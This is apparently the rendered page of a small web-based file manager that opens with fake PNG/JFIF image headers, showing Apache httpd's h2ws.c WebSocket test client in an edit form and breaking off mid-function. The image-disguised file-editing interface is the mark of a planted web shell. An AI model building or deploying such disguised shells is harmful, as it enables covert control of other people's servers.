�PNG
�JFIF������
<style>  
body { background:#1a1a1a; color:#ccc; font-family:monospace; padding:20px; }  
a { color:#6cf; text-decoration:none; }  
a:hover { text-decoration:underline; }  
textarea,input[type=text] { width:100%; font-family:monospace; background:#222; color:#fff; border:1px solid #444; }  
input[type=submit] { background:#333; color:#fff; border:none; padding:5px 10px; }  
</style><h2>🗂️ simple</h2><p><b>Path:</b> <a href='?path=%2Fbig%2F'>big</a>/<a href='?path=%2Fbig%2FSRC%2F'>SRC</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2F'>httpd-2.4.63</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Ftest%2F'>test</a>/<a href='?path=%2Fbig%2FSRC%2Fhttpd-2.4.63%2Ftest%2Fclients%2F'>clients</a>/</p><hr><h3>✏️ Editing: h2ws.c</h3>  
        <form method='post'>  
            <textarea name='content' rows='20'>/* Licensed to the Apache Software Foundation (ASF) under one or more
 * contributor license agreements.  See the NOTICE file distributed with
 * this work for additional information regarding copyright ownership.
 * The ASF licenses this file to You under the Apache License, Version 2.0
 * (the &quot;License&quot;); you may not use this file except in compliance with
 * the License.  You may obtain a copy of the License at
 *
 *     http://www.apache.org/licenses/LICENSE-2.0
 *
 * Unless required by applicable law or agreed to in writing, software
 * distributed under the License is distributed on an &quot;AS IS&quot; BASIS,
 * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
 * See the License for the specific language governing permissions and
 * limitations under the License.
 */

#include &lt;apr.h&gt;

#include &lt;assert.h&gt;
#include &lt;inttypes.h&gt;
#include &lt;stdlib.h&gt;
#ifdef APR_HAVE_UNISTD_H
#  include &lt;unistd.h&gt;
#endif /* HAVE_UNISTD_H */
#ifdef APR_HAVE_FCNTL_H
#  include &lt;fcntl.h&gt;
#endif /* HAVE_FCNTL_H */
#include &lt;sys/types.h&gt;
#include &lt;sys/time.h&gt;
#ifdef APR_HAVE_SYS_SOCKET_H
#  include &lt;sys/socket.h&gt;
#endif /* HAVE_SYS_SOCKET_H */
#ifdef APR_HAVE_NETDB_H
#  include &lt;netdb.h&gt;
#endif /* HAVE_NETDB_H */
#ifdef APR_HAVE_NETINET_IN_H
#  include &lt;netinet/in.h&gt;
#endif /* HAVE_NETINET_IN_H */
#include &lt;netinet/tcp.h&gt;
#include &lt;poll.h&gt;
#include &lt;signal.h&gt;
#include &lt;stdio.h&gt;
#include &lt;string.h&gt;
#include &lt;time.h&gt;
#include &lt;errno.h&gt;

#include &lt;nghttp2/nghttp2.h&gt;

#define MAKE_NV(NAME, VALUE)                                                   \
  {                                                                            \
    (uint8_t *)NAME, (uint8_t *)VALUE, sizeof(NAME) - 1, sizeof(VALUE) - 1,    \
        NGHTTP2_NV_FLAG_NONE                                                   \
  }

#define MAKE_NV_CS(NAME, VALUE)                                                \
  {                                                                            \
    (uint8_t *)NAME, (uint8_t *)VALUE, sizeof(NAME) - 1, strlen(VALUE),        \
        NGHTTP2_NV_FLAG_NONE                                                   \
  }


static int verbose;
static const char *cmd;

static void log_out(const char *level, const char *where, const char *msg)
{
    struct timespec tp;
    struct tm tm;
    char timebuf[128];

    clock_gettime(CLOCK_REALTIME, &amp;tp);
    localtime_r(&amp;tp.tv_sec, &amp;tm);
    strftime(timebuf, sizeof(timebuf)-1, &quot;%H:%M:%S&quot;, &amp;tm);
    fprintf(stderr, &quot;[%s.%09lu][%s][%s] %s\n&quot;, timebuf, tp.tv_nsec, level, where, msg);
}

static void log_err(const char *where, const char *msg)
{
    log_out(&quot;ERROR&quot;, where, msg);
}

static void log_info(const char *where, const char *msg)
{
    if (verbose)
        log_out(&quot;INFO&quot;, where, msg);
}

static void log_debug(const char *where, const char *msg)
{
    if (verbose &gt; 1)
        log_out(&quot;DEBUG&quot;, where, msg);
}

#if defined(__GNUC__)
    __attribute__((format(printf, 2, 3)))
#endif
static void log_errf(const char *where, const char *msg, ...)
{
    char buffer[8*1024];
    va_list ap;

    va_start(ap, msg);
    vsnprintf(buffer, sizeof(buffer), msg, ap);
    va_end(ap);
    log_err(where, buffer);
}

#if defined(__GNUC__)
    __attribute__((format(printf, 2, 3)))
#endif
static void log_infof(const char *where, const char *msg, ...)
{
    if (verbose) {
        char buffer[8*1024];
        va_list ap;

        va_start(ap, msg);
        vsnprintf(buffer, sizeof(buffer), msg, ap);
        va_end(ap);
        log_info(where, buffer);
    }
}

#if defined(__GNUC__)
    __attribute__((format(printf, 2, 3)))
#endif
static void log_debugf(const char *where, const char *msg, ...)
{
    if (verbose &gt; 1) {
        char buffer[8*1024];
        va_list ap;

        va_start(ap, msg);
        vsnprintf(buffer, sizeof(buffer), msg, ap);
        va_end(ap);
        log_debug(where, buffer);
    }
}

static int parse_host_port(const char **phost, uint16_t *pport,
                           int *pipv6, size_t *pconsumed,
                           const char *s, size_t len, uint16_t def_port)
{
    size_t i, offset=0;
    char *host = NULL;
    int port = 0;
    int rv = 1, ipv6 = 0;

    if (!len)
        goto leave;
    if (s[offset] == &#039;[&#039;) {
        ipv6 = 1;
        for (i = offset++; i &lt; len; ++i) {
            if (s[i] == &#039;]&#039;)
              break;
        }
        if (i &gt;= len || i == offset)
            goto leave;
        host = strndup(s + offset, i - offset);
        offset = i + 1;
    }
    else {
        for (i = offset; i &lt; len; ++i) {
            if (strchr(&quot;:/?#&quot;, s[i]))
              break;
        }
        if (i == offset) {
            log_debugf(&quot;parse_uri&quot;, &quot;empty host name in &#039;%.*s&quot;, (int)len, s);
            goto leave;
        }
        host = strndup(s + offset, i - offset);
        offset = i;
    }
    if (offset &lt; len &amp;&amp; s[offset] == &#039;:&#039;) {
        port = 0;
        ++offset;
        for (i = offset; i &lt; len; ++i) {
            if (strchr(&quot;/?#&quot;, s[i]))
                break;
            if (s[i] &lt; &#039;0&#039; || s[i] &gt; &#039;9&#039;) {
                log_debugf(&quot;parse_uri&quot;, &quot;invalid port char &#039;%c&#039;&quot;, s[i]);
                goto leave;
            }
            port *= 10;
            port += s[i] - &#039;0&#039;;
            if (port &gt; 65535) {
                log_debugf(&quot;parse_uri&quot;, &quot;invalid port number &#039;%d&#039;&quot;, port);
                goto leave;
            }
        }
        offset = i;
    }
    rv = 0;

leave:
    *phost = rv? NULL : host;
    *pport = rv? 0 : (port? (uint16_t)port : def_port);
    if (pipv6)
      *pipv6 = ipv6;
    if (pconsumed)
      *pconsumed = offset;
    return rv;
}

struct uri {
  const char *scheme;
  const char *host;
  const char *authority;
  const char *path;
  uint16_t port;
  int ipv6;
};

static int parse_uri(struct uri *uri, const char *s, size_t len)
{
    char tmp[8192];
    size_t n, offset = 0;
    uint16_t def_port = 0;
    int rv = 1;

    /* NOT A REAL URI PARSER */
    memset(uri, 0, sizeof(*uri));
    if (len &gt; 5 &amp;&amp; !memcmp(&quot;ws://&quot;, s, 5)) {
        uri-&gt;scheme = &quot;ws&quot;;
        def_port = 80;
        offset = 5;
    }
    else if (len &gt; 6 &amp;&amp; !memcmp(&quot;wss://&quot;, s, 6)) {
        uri-&gt;scheme = &quot;wss&quot;;
        def_port = 443;
        offset = 6;
    }
    else {
        /* not a scheme we process */
        goto leave;
    }

    if (parse_host_port(&amp;uri-&gt;host, &amp;uri-&gt;port, &amp;uri-&gt;ipv6, &amp;n, s + offset,
                        len - offset, def_port))
        goto leave;
    offset += n;

    if (uri-&gt;port == def_port)
      uri-&gt;authority = uri-&gt;host;
    else if (uri-&gt;ipv6) {
      snprintf(tmp, sizeof(tmp), &quot;[%s]:%u&quot;, uri-&gt;host, uri-&gt;port);
      uri-&gt;authority = strdup(tmp);
    }
    else {
      snprintf(tmp, sizeof(tmp), &quot;%s:%u&quot;, uri-&gt;host, uri-&gt;port);
      uri-&gt;authority = strdup(tmp);
    }

    if (offset &lt; len) {
        uri-&gt;path = strndup(s + offset, len - offset);
    }
    rv = 0;

leave:
    return rv;
}

static int sock_nonblock_nodelay(int fd) {
  int flags, rv;
  int val = 1;

  while ((flags = fcntl(fd, F_GETFL, 0)) == -1 &amp;&amp; errno == EINTR)
      ;
  if (flags == -1) {
      log_errf(&quot;sock_nonblock_nodelay&quot;, &quot;fcntl get error %d (%s)&quot;,
               errno, strerror(errno));
      return -1;
  }
  while ((rv = fcntl(fd, F_SETFL, flags | O_NONBLOCK)) == -1 &amp;&amp; errno == EINTR)
    ;
  if (rv == -1) {
      log_errf(&quot;sock_nonblock_nodelay&quot;, &quot;fcntl set error %d (%s)&quot;,
               errno, strerror(errno));
      return -1;
  }
  rv = setsockopt(fd, IPPROTO_TCP, TCP_NODELAY, &amp;val, (socklen_t)sizeof(val));
  if (rv == -1) {
      log_errf(&quot;sock_nonblock_nodelay&quot;, &quot;set nodelay error %d (%s)&quot;,
               errno, strerror(errno));
      return -1;
  }
  return 0;
}

static int open_connection(const char *host, uint16_t port)
{
    char service[NI_MAXSERV];
    struct addrinfo hints;
    struct addrinfo *res = NULL, *rp;
    int rv, fd = -1;

    memset(&amp;hints, 0, sizeof(hints));
    snprintf(service, sizeof(service), &quot;%u&quot;, port);
    hints.ai_family = AF_UNSPEC;
    hints.ai_socktype = SOCK_STREAM;
    rv = getaddrinfo(host, service, &amp;hints, &amp;res);
    if (rv) {
      log_err(&quot;getaddrinfo&quot;, gai_strerror(rv));
      goto leave;
    }

    for (rp = res; rp; rp = rp-&gt;ai_next) {
      fd = socket(rp-&gt;ai_family, rp-&gt;ai_socktype, rp-&gt;ai_protocol);
      if (fd == -1) {
        continue;
      }
      while ((rv = connect(fd, rp-&gt;ai_addr, rp-&gt;ai_addrlen)) == -1 &amp;&amp;
             errno == EINTR)
        ;
      if (!rv) /* connected */
          break;
      close(fd);
      fd = -1;
    }

leave:
    if (res)
      freeaddrinfo(res);
    return fd;
}

struct h2_stream;

#define IO_WANT_NONE   0
#define IO_WANT_READ   1
#define IO_WANT_WRITE  2

struct h2_session {
    const char *server_name;
    const char *connect_host;
    uint16_t connect_port;
    int fd;
    nghttp2_session *ngh2;
    struct h2_stream *streams;
    int aborted;
    int want_io;
};

typedef void h2_stream_closed_cb(struct h2_stream *stream);
typedef void h2_stream_recv_data(struct h2_stream *stream,
                                 const uint8_t *data, size_t len);

struct h2_stream {
    struct h2_stream *next;
    struct uri *uri;
    int32_t id;
    int fdin;
    int http_status;
    uint32_t error_code;
    unsigned input_closed : 1;
    unsigned closed : 1;
    unsigned reset : 1;
    h2_stream_closed_cb *on_close;
    h2_stream_recv_data *on_recv_data;
};

static void h2_session_stream_add(struct h2_session *session,
                                  struct h2_stream *stream)
{
    struct h2_stream *s;
    for (s = session-&gt;streams; s; s = s-&gt;next) {
        if (s == stream)  /* already there? */
            return;
    }
    stream-&gt;next = session-&gt;streams;
    session-&gt;streams = stream;
}

static void h2_session_stream_remove(struct h2_session *session,
                                     struct h2_stream *stream)
{
    struct h2_stream *s, **pnext;
    pnext = &amp;session-&gt;streams;
    s = session-&gt;streams;
    while (s) {
        if (s == stream) {
            *pnext = s-&gt;next;
            s-&gt;next = NULL;
            break;
        }
        pnext = &amp;s-&gt;next;
        s = s-&gt;next;
    }
}

static struct h2_stream *h2_session_stream_get(struct h2_session *session,
                                               int32_t id)
{
    struct h2_stream *s;
    for (s = session-&gt;streams; s; s = s-&gt;next) {
        if (s-&gt;id == id)
            return s;
    }
    return NULL;
}

static ssize_t h2_session_send(nghttp2_session *ngh2, const uint8_t *data,
                               size_t length, int flags, void *user_data)
{
    struct h2_session *session = user_data;
    ssize_t nwritten;
    (void)ngh2;
    (void)flags;

    session-&gt;want_io = IO_WANT_NONE;
    nwritten = send(session-&gt;fd, data, length, 0);
    if (nwritten &lt; 0) {
      int err = errno;
      if ((EWOULDBLOCK == err) || (EAGAIN == err) ||
          (EINTR == err) || (EINPROGRESS == err)) {
          return NGHTTP2_ERR_WOULDBLOCK;
      }
      log_errf(&quot;h2_session_send&quot;, &quot;error sending %ld bytes: %d (%s)&quot;,
               (long)length, err, strerror(err));
      return NGHTTP2_ERR_CALLBACK_FAILURE;
    }
    return nwritten;
}

static ssize_t h2_session_recv(nghttp2_session *ngh2, uint8_t *buf,
                               size_t length, int flags, void *user_data)
{
    struct h2_session *session = user_data;
    ssize_t nread;
    (void)ngh2;
    (void)flags;

    session-&gt;want_io = IO_WANT_NONE;
    nread = recv(session-&gt;fd, buf, length, 0);
    if (nread &lt; 0) {
      int err = errno;
      if ((EWOULDBLOCK == err) || (EAGAIN == err) || (EINTR == err)) {
          return NGHTTP2_ERR_WOULDBLOCK;
      }
      log_errf(&quot;h2_session_recv&quot;, &quot;error reading %ld bytes: %d (%s)&quot;,
               (long)length, err, strerror(err));
      return NGHTTP2_ERR_CALLBACK_FAILURE;
    }
    return nread;
}

static int h2_session_on_frame_send(nghttp2_session *session,
                                    const nghttp2_frame *frame,
                                    void *user_data)
{
    size_t i;
    (void)user_data;

    switch (frame-&gt;hd.type) {
    case NGHTTP2_HEADERS:
      if (nghttp2_session_get_stream_user_data(session, frame-&gt;hd.stream_id)) {
        const nghttp2_nv *nva = frame-&gt;headers.nva;
        log_infof(&quot;frame send&quot;, &quot;FRAME[HEADERS, stream=%d&quot;,
                  frame-&gt;hd.stream_id);
        for (i = 0; i &lt; frame-&gt;headers.nvlen; ++i) {
            log_infof(&quot;frame send&quot;, &quot;  %.*s: %.*s&quot;,
                      (int)nva[i].namelen, nva[i].name,
                      (int)nva[i].valuelen, nva[i].value);
        }
        log_infof(&quot;frame send&quot;, &quot;]&quot;);
      }
      break;
    case NGHTTP2_DATA:
        log_infof(&quot;frame send&quot;, &quot;FRAME[DATA, stream=%d, length=%d, flags=%d]&quot;,
                  frame-&gt;hd.stream_id, (int)frame-&gt;hd.length,
                  (int)frame-&gt;hd.flags);
        break;
    case NGHTTP2_RST_STREAM:
        log_infof(&quot;frame send&quot;, &quot;FRAME[RST, stream=%d]&quot;,
                  frame-&gt;hd.stream_id);
        break;
    case NGHTTP2_WINDOW_UPDATE:
        log_infof(&quot;frame send&quot;, &quot;FRAME[WINDOW_UPDATE, stream=%d]&quot;,
                  frame-&gt;hd.stream_id);
        break;
    case NGHTTP2_GOAWAY:
        log_infof(&quot;frame send&quot;, &quot;FRAME[GOAWAY]&quot;);
        break;
    }
    return 0;
}

static int h2_session_on_frame_recv(nghttp2_session *ngh2,
                                    const nghttp2_frame *frame,
                                    void *user_data)
{
    (void)user_data;

    switch (frame-&gt;hd.type) {
    case NGHTTP2_HEADERS:
        if (frame-&gt;headers.cat == NGHTTP2_HCAT_RESPONSE) {
          log_infof(&quot;frame recv&quot;, &quot;FRAME[HEADERS, stream=%d]&quot;,
                    frame-&gt;hd.stream_id);
        }
        break;
    case NGHTTP2_DATA:
        log_infof(&quot;frame recv&quot;, &quot;FRAME[DATA, stream=%d, len=%lu, eof=%d]&quot;,
                  frame-&gt;hd.stream_id, frame-&gt;hd.length,
                  (frame-&gt;hd.flags &amp; NGHTTP2_FLAG_END_STREAM) != 0);
        break;
    case NGHTTP2_RST_STREAM:
        log_infof(&quot;frame recv&quot;, &quot;FRAME[RST, stream=%d]&quot;,
                  frame-&gt;hd.stream_id);
        fprintf(stdout, &quot;[%d] RST\n&quot;, frame-&gt;hd.stream_id);
        break;
    case NGHTTP2_GOAWAY:
        log_infof(&quot;frame recv&quot;, &quot;FRAME[GOAWAY]&quot;);
        break;
    }
    return 0;
}

static int h2_session_on_header(nghttp2_session *ngh2,
                                const nghttp2_frame *frame,
                                const uint8_t *name, size_t namelen,
                                const uint8_t *value, size_t valuelen,
                                uint8_t flags, void *user_data)
{
    struct h2_session *session = user_data;
    struct h2_stream *stream;
    (void)flags;
    (void)user_data;
    log_infof(&quot;frame recv&quot;, &quot;stream=%d, HEADER   %.*s: %.*s&quot;,
              frame-&gt;hd.stream_id, (int)namelen, name,
              (int)valuelen, value);
    stream = h2_session_stream_get(session, frame-&gt;hd.stream_id);
    if (stream) {
        if (namelen == 7 &amp;&amp; !strncmp(&quot;:status&quot;, (const char *)name, namelen)) {
            stream-&gt;http_status = 0;
            if (valuelen &lt; 10) {
                char tmp[10], *endp;
                memcpy(tmp, value, valuelen);
                tmp[valuelen] = 0;
                stream-&gt;http_status = (int)strtol(tmp, &amp;endp, 10);
            }
            if (stream-&gt;http_status &lt; 100 || stream-&gt;http_status &gt;= 600) {
                log_errf(&quot;on header recv&quot;, &quot;stream=%d, invalid :status: %.*s&quot;,
                          frame-&gt;hd.stream_id, (int)valuelen, value);
                return NGHTTP2_ERR_CALLBACK_FAILURE;
            }
            else {
                fprintf(stdout, &quot;[%d] :status: %d\n&quot;, stream-&gt;id,
                        stream-&gt;http_status);
            }
        }
    }
    return 0;
}

static int h2_session_on_stream_close(nghttp2_session *ngh2, int32_t stream_id,
                                      uint32_t error_code, void *user_data)
{
    struct h2_session *session = user_data;
    struct h2_stream *stream;

    stream = h2_session_stream_get(session, stream_id);
    if (stream) {
        /* closed known stream */
        stream-&gt;error_code = error_code;
        stream-&gt;closed = 1;
        if (error_code)
            stream-&gt;reset = 1;
        if (error_code) {
            log_errf(&quot;stream close&quot;, &quot;stream %d closed with error %d&quot;,
                     stream_id, error_code);
        }

        h2_session_stream_remove(session, stream);
        if (stream-&gt;on_close)
            stream-&gt;on_close(stream);
        /* last one? */
        if (!session-&gt;streams) {
            int rv;
            rv = nghttp2_session_terminate_session(ngh2, NGHTTP2_NO_ERROR);
            if (rv) {
                log_errf(&quot;terminate session&quot;, &quot;error %d (%s)&quot;,
                         rv, nghttp2_strerror(rv));
                session-&gt;aborted = 1;
            }
        }
    }
    return 0;
}

static int h2_session_on_data_chunk_recv(nghttp2_session *ngh2, uint8_t flags,
                                         int32_t stream_id, const uint8_t *data,
                                         size_t len, void *user_data) {
    struct h2_session *session = user_data;
    struct h2_stream *stream;

    stream = h2_session_stream_get(session, stream_id);
    if (stream &amp;&amp; stream-&gt;on_recv_data) {
        stream-&gt;on_recv_data(stream, data, len);
    }
    return 0;
}

static int h2_session_open(struct h2_session *session, const char *server_name,
                           const char *host, uint16_t port)
{
    nghttp2_session_callbacks *cbs = NULL;
    nghttp2_settings_entry settings[2];
    int rv = -1;

    memset(session, 0, sizeof(*session));
    session-&gt;server_name = server_name;
    session-&gt;connect_host = host;
    session-&gt;connect_port = port;
    /* establish socket */
    session-&gt;fd = open_connection(session-&gt;connect_host, session-&gt;connect_port);
    if (session-&gt;fd &lt; 0) {
      log_errf(cmd, &quot;could not connect to %s:%u&quot;,
               session-&gt;connect_host, session-&gt;connect_port);
      goto leave;
    }
    if (sock_nonblock_nodelay(session-&gt;fd))
        goto leave;
    session-&gt;want_io = IO_WANT_NONE;

    log_infof(cmd, &quot;connected to %s via %s:%u&quot;, session-&gt;server_name,
              session-&gt;connect_host, session-&gt;connect_port);

    rv = nghttp2_session_callbacks_new(&amp;cbs);
    if (rv) {
        log_errf(&quot;setup callbacks&quot;, &quot;error_code=%d, msg=%s\n&quot;, rv,
                 nghttp2_strerror(rv));
        rv = -1;
        goto leave;
    }
    /* setup session callbacks */
    nghttp2_session_callbacks_set_send_callback(cbs, h2_session_send);
    nghttp2_session_callbacks_set_recv_callback(cbs, h2_session_recv);
    nghttp2_session_callbacks_set_on_frame_send_callback(
        cbs, h2_session_on_frame_send);
    nghttp2_session_callbacks_set_on_frame_recv_callback(
        cbs, h2_session_on_frame_recv);
    nghttp2_session_callbacks_set_on_header_callback(
        cbs, h2_session_on_header);
    nghttp2_session_callbacks_set_on_stream_close_callback(
        cbs, h2_session_on_stream_close);
    nghttp2_session_callbacks_set_on_data_chunk_recv_callback(
        cbs, h2_session_on_data_chunk_recv);
    /* create the ngh2 session */
    rv = nghttp2_session_client_new(&amp;session-&gt;ngh2, cbs, session);
    if (rv) {
        log_errf(&quot;client new&quot;, &quot;error_code=%d, msg=%s\n&quot;, rv,
                 nghttp2_strerror(rv));
        rv = -1;
        goto leave;
    }
    /* submit initial settings */
    settings[0].settings_id = NGHTTP2_SETTINGS_MAX_CONCURRENT_STREAMS;
    settings[0].value = 100;
    settings[1].settings_id = NGHTTP2_SETTINGS_INITIAL_WINDOW_SIZE;
    settings[1].value = 10 * 1024 * 1024;

    rv = nghttp2_submit_settings(session-&gt;ngh2, NGHTTP2_FLAG_NONE, settings, 2);
    if (rv) {
        log_errf(&quot;submit settings&quot;, &quot;error_code=%d, msg=%s\n&quot;, rv,
                 nghttp2_strerror(rv));
        rv = -1;
        goto leave;
    }
    rv = nghttp2_session_set_local_window_size(session-&gt;ngh2, NGHTTP2_FLAG_NONE,
                                               0, 10 * 1024 * 1024);
    if (rv) {
        log_errf(&quot;set connection window size&quot;, &quot;error_code=%d, msg=%s\n&quot;, rv,
                 nghttp2_strerror(rv));
        rv = -1;
        goto leave;
    }
    rv = 0;

leave:
    if (cbs)
        nghttp2_session_callbacks_del(cbs);
    return rv;
}

static int h2_session_io(struct h2_session *session) {
    int rv;
    rv = nghttp2_session_recv(session-&gt;ngh2);
    if (rv) {
        log_errf(&quot;session recv&quot;, &quot;error_code=%d, msg=%s\n&quot;, rv,
                 nghttp2_strerror(rv));
        return 1;
    }
    rv = nghttp2_session_send(session-&gt;ngh2);
    if (rv) {
        log_errf(&quot;session send&quot;, &quot;error_code=%d, msg=%s\n&quot;, rv,
                 nghttp2_strerror(rv));
    }
    return 0;
}

struct h2_poll_ctx;
typedef int h2_poll_ev_cb(struct h2_poll_ctx *pctx, struct pollfd *pfd);

struct h2_poll_ctx {
    struct h2_session *session;
    struct h2_stream *stream;
    h2_poll_ev_cb *on_ev;
};

static int h2_session_ev(struct h2_poll_ctx *pctx, struct pollfd *pfd)
{
    if (pfd-&gt;revents &amp; (POLLIN | POLLOUT)) {
        h2_session_io(pctx-&gt;session);
    }
    else if (pfd-&gt;revents &amp; POLLHUP) {
        log_errf(&quot;session run&quot;, &quot;connection closed&quot;);
        return -1;
    }
    else if (pfd-&gt;revents &amp; POLLERR) {
        log_errf(&quot;session run&quot;, &quot;connection error&quot;);
        return -1;
    }
    return 0;
}

static int h2_stream_ev(struct h2_poll_ctx *pctx, struct pollfd *pfd)
{
    if (pfd-&gt;revents &amp; (POLLIN | POLLHUP)) {
        nghttp2_session_resume_data(pctx-&gt;session-&gt;ngh2, pctx-&gt;stream-&gt;id);
    }
    else if (pfd-&gt;revents &amp; (POLLERR)) {
        nghttp2_submit_rst_stream(pctx-&gt;session-&gt;ngh2, NGHTTP2_FLAG_NONE,
                                  pctx-&gt;stream-&gt;id, NGHTTP2_STREAM_CLOSED);
    }
    return 0;
}

static nfds_t h2_session_set_poll(struct h2_session *session,
                                  struct h2_poll_ctx *pollctxs,
                                  struct pollfd *pfds)
{
    nfds_t n = 0;
    int want_read, want_write;
    struct h2_stream *stream;

    want_read = (nghttp2_session_want_read(session-&gt;ngh2) ||
                 session-&gt;want_io == IO_WANT_READ);
    want_write = (nghttp2_session_want_write(session-&gt;ngh2) ||
                  session-&gt;want_io == IO_WANT_WRITE);
    if (want_read || want_write) {
        pollctxs[n].session = session;
        pollctxs[n].stream = NULL;
        pollctxs[n].on_ev = h2_session_ev;
        pfds[n].fd = session-&gt;fd;
        pfds[n].events = pfds[n].revents = 0;
        if (want_read)
            pfds[n].events |= (POLLIN | POLLHUP);
        if (want_write)
            pfds[n].events |= (POLLOUT | POLLERR);
        ++n;
    }

    for (stream = session-&gt;streams; stream; stream = stream-&gt;next) {
        if (stream-&gt;fdin &gt;= 0 &amp;&amp; !stream-&gt;input_closed &amp;&amp; !stream-&gt;closed) {
            pollctxs[n].session = session;
            pollctxs[n].stream = stream;
            pollctxs[n].on_ev = h2_stream_ev;
            pfds[n].fd = stream-&gt;fdin;
            pfds[n].revents = 0;
            pfds[n].events = (POLLIN | POLLHUP);
            ++n;
        }
    }
    return n;
}

static void h2_session_run(struct h2_session *session)
{
  struct h2_poll_ctx pollctxs[5];
  struct pollfd pfds[5];
  nfds_t npollfds, i;

  npollfds  = h2_session_set_poll(session, pollctxs, pfds);
  while (npollfds) {
    if (poll(pfds, npollfds, -1) == -1) {
        log_errf(&quot;session run&quot;, &quot;poll error %d (%s)&quot;, errno, strerror(errno));
        break;
    }
    for (i = 0; i &lt; npollfds; ++i) {
        if (pfds[i].revents) {
            if (pollctxs[i].on_ev(&amp;pollctxs[i], &amp;pfds[i])) {
                break;
            }
        }
    }
    npollfds = h2_session_set_poll(session, pollctxs, pfds);
    if (!session-&gt;streams)
        break;
  }
}

static void h2_session_close(struct h2_session *session)
{
    log_infof(cmd, &quot;closed session to %s:%u&quot;,
              session-&gt;connect_host, session-&gt;connect_port);
}

/* websocket stream */

struct ws_stream {
  struct h2_stream s;
};

static void ws_stream_on_close(struct h2_stream *stream)
{
    log_infof(&quot;ws stream&quot;, &quot;stream %d closed&quot;, stream-&gt;id);
    if (!stream-&gt;reset)
        fprintf(stdout, &quot;[%d] EOF\n&quot;, stream-&gt;id);
}

static void ws_stream_on_recv_data(struct h2_stream *stream,
                            const uint8_t *data, size_t len)
{
    size_t i;

    log_infof(&quot;ws stream&quot;, &quot;stream %d recv %lu data bytes&quot;,
              stream-&gt;id, (unsigned long)len);
    for (i = 0; i &lt; len; ++i) {
        fprintf(stdout, &quot;%s%02x&quot;, (i&amp;0xf)? &quot; &quot; : (i? &quot;\n&quot; : &quot;&quot;), data[i]);
    }
    fprintf(stdout, &quot;\n&quot;);
}

static int ws_stream_create(struct ws_stream **pstream, struct uri *uri)
{
    struct ws_stream *stream;

    stream = calloc(1, sizeof(*stream));
    if (!stream) {
        log_errf(&quot;ws stream create&quot;, &quot;out of memory&quot;);
        *pstream = NULL;
        return -1;
    }
    stream-&gt;s.uri = uri;
    stream-&gt;s.id = -1;
    stream-&gt;s.on_close = ws_stream_on_close;
    stream-&gt;s.on_recv_data = ws_stream_on_recv_data;
    *pstream = stream;
    return 0;
}

static ssize_t ws_stream_read_req_body(nghttp2_session *ngh2,
                                       int32_t stream_id,
                                       uint8_t *buf, size_t buflen,
                                       uint32_t *pflags,
                                       nghttp2_data_source *source,
                                       void *user_data)
{
    struct h2_session *session = user_data;
    struct ws_stream *stream;
    ssize_t nread = 0;
    int eof = 0;

    stream = (struct ws_stream *)h2_session_stream_get(session, stream_id);
    if (!stream) {
         log_errf(&quot;stream req body&quot;, &quot;stream not known&quot;);
        return NGHTTP2_ERR_CALLBACK_FAILURE;
    }

    (void)source;
    assert(stream-&gt;s.fdin &gt;= 0);
    nread = read(stream-&gt;s.fdin, buf, buflen);
    log_debugf(&quot;stream req body&quot;, &quot;fread(len=%lu) -&gt; %ld&quot;,
               (unsigned long)buflen, (long)nread);

    if (nread &lt; 0) {
        if (errno == EAGAIN) {
            nread = 0;
        }
        else {
            log_errf(&quot;stream req body&quot;, &quot;error on input&quot;);
            return NGHTTP2_ERR_CALLBACK_FAILURE;
        }
    }
    else if (nread == 0) {
      eof = 1;
      stream-&gt;s.input_closed = 1;
    }

    *pflags = stream-&gt;s.input_closed? NGHTTP2_DATA_FLAG_EOF : 0;
    if (nread == 0 &amp;&amp; !eof) {
      return NGHTTP2_ERR_DEFERRED;
    }
    return nread;
}

static int ws_stream_submit(struct ws_stream *stream,
                            struct h2_session *session,
                            const nghttp2_nv *nva, size_t nvalen,
                            int fdin)
{
    nghttp2_data_provider provider, *req_body = NULL;

    if (fdin &gt;= 0) {
        sock_nonblock_nodelay(fdin);
        stream-&gt;s.fdin = fdin;
        provider.read_callback = ws_stream_read_req_body;
        provider.source.ptr = NULL;
        req_body = &amp;provider;
    }
    else {
        stream-&gt;s.input_closed = 1;
    }

    stream-&gt;s.id = nghttp2_submit_request(session-&gt;ngh2, NULL, nva, nvalen,
                                          req_body, stream);
    if (stream-&gt;s.id &lt; 0) {
        log_errf(&quot;ws stream submit&quot;, &quot;nghttp2_submit_request: error %d&quot;,
                 stream-&gt;s.id);
        return -1;
    }

    h2_session_stream_add(session, &amp;stream-&gt;s);
    log_infof(&quot;ws stream submit&quot;, &quot;stream %d opened for %s%s&quot;,
              stream-&gt;s.id, stream-&gt;s.uri-&gt;authority, stream-&gt;s.uri-&gt;path);
    return 0;
}

static void usage(const char *msg)
{
    if(msg)
        fprintf(stderr, &quot;%s\n&quot;, msg);
    fprintf(stderr,
        &quot;usage: [options] ws-uri scenario\n&quot;
        &quot;  run a websocket scenario to the ws-uri, options:\n&quot;
        &quot;  -c host:port connect to host:port\n&quot;
        &quot;  -v         increase verbosity\n&quot;
        &quot;scenarios are:\n&quot;
        &quot;  * fail-proto: CONNECT using wrong :protocol\n&quot;
        &quot;  * miss-authority: CONNECT without :authority header\n&quot;
        &quot;  * miss-path: CONNECT without :path header\n&quot;
        &quot;  * miss-scheme: CONNECT without :scheme header\n&quot;
        &quot;  * miss-version: CONNECT without sec-webSocket-version header\n&quot;
        &quot;  * ws-empty: open valid websocket, do not send anything\n&quot;
    );
}

int main(int argc, char *argv[])
{
    const char *host = NULL, *scenario;
    uint16_t port = 80;
    struct uri uri;
    struct h2_session session;
    struct ws_stream *stream;
    char ch;

    cmd = argv[0];
    while((ch = getopt(argc, argv, &quot;c:vh&quot;)) != -1) {
        switch(ch) {
        case &#039;c&#039;:
            if (parse_host_port(&amp;host, &amp;port, NULL, NULL,
                                optarg, strlen(optarg), 80)) {
                log_errf(cmd, &quot;could not parse connect &#039;%s&#039;&quot;, optarg);
                return 1;
            }
            break;
        case &#039;h&#039;:
            usage(NULL);
            return 2;
            break;
        case &#039;v&#039;:
            ++verbose;
            break;
        default:
           usage(&quot;invalid option&quot;);
           return 1;
        }
    }
    argc -= optind;
    argv += optind;

    if (argc &lt; 1) {
        usage(&quot;need URL&quot;);
        return 1;
    }
    if (argc &lt; 2) {
        usage(&quot;need scenario&quot;);
        return 1;
    }
    if (parse_uri(&amp;uri, argv[0], strlen(argv[0]))) {
